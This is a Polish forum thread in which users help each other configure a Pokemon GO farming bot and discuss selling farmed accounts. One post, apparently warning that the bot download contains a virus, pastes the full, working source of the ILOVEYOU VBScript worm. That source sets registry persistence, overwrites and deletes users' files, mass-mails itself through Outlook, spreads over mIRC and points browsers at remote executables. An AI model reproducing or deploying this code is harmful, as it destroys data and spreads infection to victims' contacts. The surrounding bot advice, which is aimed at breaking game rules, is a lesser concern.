Skocz do zawartości

  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • ✅ Pełny dostęp do działów i ukrytych treści
    • ✅ Możliwość pisania i odpowiadania w tematach
    • ✅ System prywatnych wiadomości
    • ✅ Zbieranie reputacji i rozwijanie swojego profilu
    • ✅ Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[DL] Pokemon GO BOT- zkompilowany łatwa konfiguracja

kapitczew

Rekomendowane odpowiedzi

  • Odpowiedzi 1,9 tys.
  • Dodano
  • Ostatniej odpowiedzi
Spec797 Nowicjusz

Spec797

Opublikowano
Nowicjusz

Spec797

Opublikowano

Mógłby ktoś jeszcze podać kordy do parku NY? Wziąłem z Google Maps to mi błąd wyskakuje (szuka pokemonów i tak ale wolę by było poprawnie)

VrX Rekrut

VrX

Opublikowano
Rekrut

VrX

Opublikowano

To dziwne jest... mam ustawione zeby zostawiał najlepsze poki a wywali mi po 1900cp -_-

zamiast true wpisz false, w tym miejscu. <PrioritizeIVOverCP>false</PrioritizeIVOverCP>. Zostawia Ci nie najlepsze poki wzgledem CP, a IV :)

Kocham mpcforum.pl!!!

18706.png

Rotmiszcz Rekrut

Rotmiszcz

Opublikowano
Rekrut

Rotmiszcz

Opublikowano

PokemonGo.RocketAPI.Exceptions.InvalidResponseException'. from Pokemon Go Rocket API

 

Ktoś już rozpracował ten błąd ?


Mógłby ktoś jeszcze podać kordy do parku NY? Wziąłem z Google Maps to mi błąd wyskakuje (szuka pokemonów i tak ale wolę by było poprawnie)

 

40.782544

-73.965725

 

Lokalizacja Central Park NY

17.png

mari100 Bywalec

mari100

Opublikowano
Bywalec

mari100

Opublikowano

Gdzie jest najnowsza wersja ?

Aa już mam ;)

Nadal bym chciał wiedzieć jak ustawić tak jak wyżej pytałem ;)

 

Pomógłby mi ktoś ustawić bota ? :/

 

 <PrioritizeIVOverCP>true</PrioritizeIVOverCP> - Jak tu wpisze False to nie bierze pod uwagę tych 85% ?

 

Ustawiacie więcej/mniej tych 85% ? Do czego ta opcja wyżej

banditmaster Nowicjusz

banditmaster

Opublikowano
Nowicjusz

banditmaster

Opublikowano

ok pytanie z innej beczki, powiecie mi jak sie zalogowac na konto pokemon go, inne niz te na ktore sie logowalem z telefonu?? gdy chce wejsc na to zfarmione ciagle loguje mi sie na to glowne konto z tel, probowalem usuwac konta google ale nic nie pomoglo ..

Rotmiszcz Rekrut

Rotmiszcz

Opublikowano
Rekrut

Rotmiszcz

Opublikowano

ok pytanie z innej beczki, powiecie mi jak sie zalogowac na konto pokemon go, inne niz te na ktore sie logowalem z telefonu?? gdy chce wejsc na to zfarmione ciagle loguje mi sie na to glowne konto z tel, probowalem usuwac konta google ale nic nie pomoglo ..

 

 

Ustawienia --> Aplikacje --> Pokemon GO --> Wyczysc Cache

17.png

VrX Rekrut

VrX

Opublikowano
Rekrut

VrX

Opublikowano

Gdzie jest najnowsza wersja ?

Aa już mam ;)

Nadal bym chciał wiedzieć jak ustawić tak jak wyżej pytałem ;)

 

Pomógłby mi ktoś ustawić bota ? :/

 

 <PrioritizeIVOverCP>true</PrioritizeIVOverCP> - Jak tu wpisze False to nie bierze pod uwagę tych 85% ?

 

Ustawiacie więcej/mniej tych 85% ? Do czego ta opcja wyżej

Chodzi o to, że np. łapiesz pokemona, ktory ma 500 cp i 40% oraz takiego, ktory ma 320 cp i 70%. Wtedy jeśli masz true - kasuje pokemona, ktory ma 500 cp, ponieważ jego IV % jest nizszy, a gdy masz false, to skasuje tego, ktory ma 320 cp, ponieważ masz juz silniejszego pokemona pod tym wzgledem :)

Kocham mpcforum.pl!!!

18706.png

mari100 Bywalec

mari100

Opublikowano
Bywalec

mari100

Opublikowano

 

Gdzie jest najnowsza wersja ?

Aa już mam ;)

Nadal bym chciał wiedzieć jak ustawić tak jak wyżej pytałem ;)

 

Pomógłby mi ktoś ustawić bota ? :/

 

 <PrioritizeIVOverCP>true</PrioritizeIVOverCP> - Jak tu wpisze False to nie bierze pod uwagę tych 85% ?

 

Ustawiacie więcej/mniej tych 85% ? Do czego ta opcja wyżej

Chodzi o to, że np. łapiesz pokemona, ktory ma 500 cp i 40% oraz takiego, ktory ma 320 cp i 70%. Wtedy jeśli masz true - kasuje pokemona, ktory ma 500 cp, ponieważ jego IV % jest nizszy, a gdy masz false, to skasuje tego, ktory ma 320 cp, ponieważ masz juz silniejszego pokemona pod tym wzgledem :)

 

Czyli wtedy to ustawienie 85% nie ma znaczenia ? Bo w sumie to mi to nie potrzebne z tym 85% jak będzie wymieniało poksy na te z większym CP

 

Zależy mi właśnie na tym, żeby transferował słabsze pokemony, a zostawiał silniejsze i to byłaby chyba ta opcja

 

Po co w ogóle to 85% ? ... Jak to wywalić ? Bo po co mi coś takiego jak po prostu może silniejsze zostawiać

MMooRRoo Pomocnik

MMooRRoo

Opublikowano
Pomocnik

MMooRRoo

Opublikowano

 

 

Gdzie jest najnowsza wersja ?

Aa już mam ;)

Nadal bym chciał wiedzieć jak ustawić tak jak wyżej pytałem ;)

 

Pomógłby mi ktoś ustawić bota ? :/

 

 <PrioritizeIVOverCP>true</PrioritizeIVOverCP> - Jak tu wpisze False to nie bierze pod uwagę tych 85% ?

 

Ustawiacie więcej/mniej tych 85% ? Do czego ta opcja wyżej

Chodzi o to, że np. łapiesz pokemona, ktory ma 500 cp i 40% oraz takiego, ktory ma 320 cp i 70%. Wtedy jeśli masz true - kasuje pokemona, ktory ma 500 cp, ponieważ jego IV % jest nizszy, a gdy masz false, to skasuje tego, ktory ma 320 cp, ponieważ masz juz silniejszego pokemona pod tym wzgledem :)

 

Czyli wtedy to ustawienie 85% nie ma znaczenia ? Bo w sumie to mi to nie potrzebne z tym 85% jak będzie wymieniało poksy na te z większym CP

 

Zależy mi właśnie na tym, żeby transferował słabsze pokemony, a zostawiał silniejsze i to byłaby chyba ta opcja

 

Po co w ogóle to 85% ? ... Jak to wywalić ? Bo po co mi coś takiego jak po prostu może silniejsze zostawiać

 

Jak masz wymaksowanego poksa i Twój przeciwnik również, to wtedy przewagę ma IV.

MPMG1997 Rekrut

MPMG1997

Opublikowano
Rekrut

MPMG1997

Opublikowano

Mam pytanie. Gdzie ustawić, żeby łapało powyżej np. 500CP? Mogą być duplikaty i mogą robić transfery poniżej 500?

Bo w nowej aktualizacji ja nie mam jakby tych linijek :/

 

<?xml version="1.0" encoding="utf-16"?>
<UserSettingsXml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <AuthType>Ptc</AuthType> <!-- Google/Ptc -->
  <DefaultLatitude>34.008930</DefaultLatitude> <!-- Default Amsterdam Central Station -->
  <DefaultLongitude>-118.497810</DefaultLongitude> <!-- Default Amsterdam Central Station -->
  <DefaultAltitude>10</DefaultAltitude>
  <GoogleRefreshToken></GoogleRefreshToken>
  <PtcPassword>XXX</PtcPassword>
  <PtcUsername>XXX</PtcUsername>
  <KeepMinIVPercentage>85</KeepMinIVPercentage>
  <KeepMinCP>1000</KeepMinCP>
  <WalkingSpeedInKilometerPerHour>50</WalkingSpeedInKilometerPerHour>
  <TransferDuplicatePokemon>true</TransferDuplicatePokemon>
  <KeepMinDuplicatePokemon>1</KeepMinDuplicatePokemon>
  <PrioritizeIVOverCP>true</PrioritizeIVOverCP>
  <UseLuckyEggsWhileEvolving>true</UseLuckyEggsWhileEvolving>
  <ItemRecycleFilter> <!-- Type and amount to keep -->

Rotmiszcz Rekrut

Rotmiszcz

Opublikowano
Rekrut

Rotmiszcz

Opublikowano

Poda ktoś działający bot pod google ? Bo jak odpalam np. v5 to go wyłącza po otwarciu strony -.0

 

Mnie jakoś działa, właśnie expie z google

 

źle konfigurujesz

17.png

bobcio1988 Nowicjusz

bobcio1988

Opublikowano
Nowicjusz

bobcio1988

Opublikowano

Siema czy ktoś wie dlaczego bot biega ale nie zbiera poków?

Wygląda jakbym nie miał bana dostaje exp za pokestopy ale wszystkie poki uciekają

ktoś wie?

Wcześniej zbierał noralnie - nic nie zmieniałem

7a86f482eaf2c.jpg

m399 Bywalec

m399

Opublikowano
Bywalec

m399

Opublikowano

Są jakieś komendy aby bot używał lucky egów i incense? Ale nie chodzi mi lucky do ewoluowania tylko po prostu do biegania po mieście


Podajcie gotowy kod żeby zbierało poksy +500, usuwało -500, proszę :)

Wystarczy przejść na 1 stronę i uważnie przeczytać co tam jest napisane.

rekt papa3 Nowicjusz

rekt papa3

Opublikowano
Nowicjusz

rekt papa3

Opublikowano

ładny wirus lol

 

 

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)  
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next  
end sub
sub folderlist(folderspec)  
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)  
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next  
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@[email protected]/*  */@-@ CONTENT=@[email protected]/*  */ VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@[email protected]/*  */@-@ CONTENT=@[email protected]/*  */ ?-? [email protected]/*  */ ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@[email protected]/*  */@-@ CONTENT=@[email protected]/*  */ but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@[email protected]/*  */=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@[email protected]/*  */=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@[email protected]/*  */@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@[email protected]/*  */@-@ BGCOLOR=@[email protected]/*  */@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@[email protected]/*  */@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@[email protected]/*  */@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@[email protected]/*  */@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @[email protected]/*  */: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@[email protected]/*  */@-@)"&vbcrlf& _
"regedit.RegWrite @[email protected]/*  */[email protected]/*  */-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

 

mari100 Bywalec

mari100

Opublikowano
Bywalec

mari100

Opublikowano

Odpowie ktoś jak z tym 85% ? Czy jak <PrioritizeIVOverCP>false</PrioritizeIVOverCP> mam tu false to bierze pod uwagę to 85 ? Czy muszę wpisać false + tam np. 1 ?

mari100 Bywalec

mari100

Opublikowano
Bywalec

mari100

Opublikowano

  <KeepMinIVPercentage>50</KeepMinIVPercentage>
  <KeepMinCP>0</KeepMinCP>
  <WalkingSpeedInKilometerPerHour>50</WalkingSpeedInKilometerPerHour>
  <TransferDuplicatePokemon>true</TransferDuplicatePokemon>
  <KeepMinDuplicatePokemon>1</KeepMinDuplicatePokemon>
  <PrioritizeIVOverCP>false</PrioritizeIVOverCP>
  <UseLuckyEggsWhileEvolving>true</UseLuckyEggsWhileEvolving>

 

Będzie mi wywalał te słabsze, zostawiał silniejsze ? :)

Niepytamilu Nowicjusz

Niepytamilu

Opublikowano
Nowicjusz

Niepytamilu

Opublikowano

Mam pytanie czy ma ktoś z was tak , że nie może wystawic na allegro konta bo klikając podsumowanie nic się nie dzieje.

 

Da się jakoś sprawdzić jakiego emaila się dało na konto ? Bo musze zweryfikować a jakoś nie moge lub nie przychodzi mi na emaila ;// Wie ktoś jak sprawdzić jaki email podany?

 

 

Przychodzi wam potwierdzenie na poczte wp? Bo jesli nie to póniej nie będziecie mogli bocić.

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

Tematy
×
×
  • Dodaj nową pozycję...